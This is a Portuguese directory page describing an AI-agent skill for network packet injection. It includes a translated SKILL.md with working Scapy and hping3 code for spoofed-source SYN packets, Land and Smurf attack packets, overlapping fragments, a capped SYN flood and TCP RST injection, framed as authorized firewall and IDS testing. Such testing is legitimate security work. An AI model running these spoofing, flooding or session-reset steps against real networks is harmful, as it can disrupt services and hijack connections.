performing-packet-injection-attack
Ajuda seu agente a criar e enviar pacotes de rede customizados para testes de segurança.
O que ela faz
Esta ferramenta permite que você envie pacotes de rede personalizados para testar a segurança de uma rede. Você pode simular diferentes tipos de tráfego para verificar como firewalls e sistemas de detecção de intrusos reagem.
Quando usar
- ✓Testar se um firewall bloqueia tráfego específico.
- ✓Verificar se um sistema de segurança detecta pacotes maliciosos.
- ✓Simular ataques para ver como a rede se comporta.
Exemplo do que pedir para a IA
“Envie um pacote TCP SYN com o IP de origem falsificado para 10.10.20.10 na porta 80.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta usa programas como Scapy para criar pacotes de rede com configurações específicas. Esses pacotes são então enviados para a rede alvo para observar as respostas e testar as defesas.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-packet-injection-attackOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-packet-injection-attack/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Realizando Ataque de Injeção de Pacotes
Quando Usar
- Testar regras de IDS/IPS injetando tráfego que deve acionar assinaturas de detecção específicas
- Validar regras de firewall criando pacotes com flags, endereços de origem e payloads específicos
- Avaliar a resiliência da pilha de rede a pacotes malformados, ataques de fragmentação e violações de protocolo
- Simular tráfego falsificado para testar controles anti-falsificação (BCP38, uRPF)
- Realizar injeção de reset TCP para testar a resiliência de conexões e cenários de sequestro de sessão
Não use para ataques de negação de serviço contra sistemas de produção, para falsificar tráfego a fim de incriminar terceiros, ou sem autorização explícita para a rede alvo.
Pré-requisitos
- Autorização por escrito especificando os alvos dentro do escopo e as técnicas de injeção de pacotes aprovadas
- Scapy, hping3 e Nemesis instalados na plataforma de teste
- Privilégios de root/sudo para acesso a soquetes brutos e criação de pacotes
- Wireshark ou tcpdump no lado do alvo para verificar a entrega do pacote
- Compreensão dos internos do protocolo TCP/IP, campos de cabeçalho e combinações de flags
Fluxo de Trabalho
Passo 1: Criar e Enviar Pacotes de Teste Básicos com Scapy
#!/usr/bin/env python3
"""Basic packet injection examples using Scapy for authorized testing."""
from scapy.all import *
# TCP SYN packet (port scan simulation)
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
if response[TCP].flags == "SA":
print(f"[*] Port 80 is OPEN (SYN-ACK received)")
elif response[TCP].flags == "RA":
print(f"[*] Port 80 is CLOSED (RST-ACK received)")
# TCP XMAS scan packet (all flags set)
xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")
send(xmas, verbose=0)
print("[*] XMAS packet sent (should trigger IDS)")
# NULL scan packet (no flags)
null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")
send(null, verbose=0)
print("[*] NULL packet sent")
# Crafted ICMP packet with custom payload
icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
send(icmp_custom, verbose=0)
print("[*] Custom ICMP packet sent")
# UDP packet to test firewall rules
udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="test.example.com"))
response = sr1(udp_test, timeout=2, verbose=0)
if response:
print(f"[*] DNS response received from {response[IP].src}")
Passo 2: Falsificação de IP e Validação Anti-Falsificação
#!/usr/bin/env python3
"""Test anti-spoofing controls with spoofed source IP packets."""
from scapy.all import *
# Spoofed source IP (should be blocked by BCP38/uRPF)
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] Sent SYN with spoofed source 192.0.2.100")
# Land attack test (source = destination)
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land attack packet sent (src==dst)")
# Smurf attack test (ICMP to broadcast with spoofed source)
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf test packet sent (ICMP to broadcast)")
# IP fragment overlap test
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24) # Overlapping fragment
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] Overlapping IP fragments sent")
Passo 3: Manipulação de Sessão TCP
# TCP RST injection to test connection resilience
# Using hping3 to send RST packets
sudo hping3 -S -p 80 --rst -c 5 10.10.20.10
# SYN flood test (limited volume for testing, not DoS)
sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
# Note: --flood sends at maximum rate; -c 100 limits to 100 packets
# Test TCP window manipulation
sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10 # Zero window
sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10 # Max window
# Idle scan probe (to test if a host can be used as zombie)
sudo hping3 -SA -p 80 -c 3 10.10.20.10
# Check IP ID values in response for predictability
#!/usr/bin/env python3
"""Injeção de RST TCP para testar a resiliência da sessão."""
from scapy.all import *
# Capturar uma conexão TCP ativa e injetar RST
def rst_inject(pkt):
if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
rst = IP(
src=pkt[IP].dst,
…
Perguntas frequentes
Preciso de permissão para usar esta ferramenta?
Sim, você precisa de autorização por escrito para testar qualquer rede, pois o envio de pacotes pode ser interpretado como um ataque.
Quais programas são necessários?
Você precisa ter o Scapy, hping3 e Nemesis instalados, além de privilégios de administrador (root/sudo) para enviar os pacotes.
Posso usar isso para atacar sistemas?
Não, esta ferramenta é apenas para testes de segurança autorizados. Usá-la para ataques reais ou sem permissão é ilegal e antiético.
Detalhes
Descrição original do autor
Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic. '
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6117
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
benchmark-optimization-loop
Faz seu agente melhorar a velocidade de algo de forma medida. Ele testa várias versões e escolhe a mais rápida que ainda funciona corretamente.
affaan-m/ECC
change-impact
Ajuda seu agente a analisar o impacto de mudanças no código antes de fazê-las. Ele compara o planejado com o real depois, cobrindo caminhos, dados, testes e documentação. É útil para mudanças arriscadas ou que afetam várias partes do sistema.
affaan-m/ECC
click-path-audit
Faz seu agente rastrear todos os botões e interações do usuário para achar bugs. Ele encontra problemas onde funções parecem funcionar sozinhas, mas falham juntas. Útil quando bugs persistem mesmo após depuração.
affaan-m/ECC